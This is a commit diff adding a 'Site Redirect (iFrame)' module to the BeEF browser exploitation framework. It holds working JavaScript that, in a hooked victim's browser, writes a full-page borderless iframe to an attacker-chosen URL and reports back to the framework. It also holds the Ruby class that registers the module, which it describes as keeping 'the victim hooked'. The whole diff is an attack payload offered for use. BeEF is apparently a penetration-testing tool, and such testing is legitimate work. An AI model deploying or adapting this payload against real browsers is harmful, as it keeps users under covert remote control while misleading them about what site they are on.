site redirect iframe module added
git-svn-id: https://beef.googlecode.com/svn/trunk@530 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
beef.execute(function() {
|
||||
|
||||
/*
|
||||
TODO:
|
||||
Automatically get and set iframe title.
|
||||
*/
|
||||
|
||||
var result = 'Iframe successfully created!'
|
||||
var title = '';
|
||||
var iframe_src = '<%= @iframe_src %>';
|
||||
var favicon = iframe_src + '/favicon.ico';
|
||||
|
||||
// document.write('<html><head><title>' + title + '</title><link rel="shortcut icon" href="' + favicon + '" type="image/x-icon" /></head><body><iframe src="' + iframe_src + '" width="100%" height="100%" frameborder="0" scrolling="no"></iframe></body></html>');
|
||||
|
||||
document.write('<iframe src="' + iframe_src + '" width="100%" height="100%" frameborder="0" scrolling="no"></iframe>');
|
||||
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
|
||||
});
|
||||
@@ -0,0 +1,38 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Site_redirect_iframe < BeEF::Command
|
||||
|
||||
#
|
||||
# Defines and set up the command module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Site Redirect (iFrame)',
|
||||
'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked.',
|
||||
'Category' => 'Browser',
|
||||
'Author' => 'ethicalhack3r',
|
||||
'Data' => [
|
||||
['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px']
|
||||
],
|
||||
'File' => __FILE__,
|
||||
'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }
|
||||
})
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
# This method is being called when a hooked browser sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def callback
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user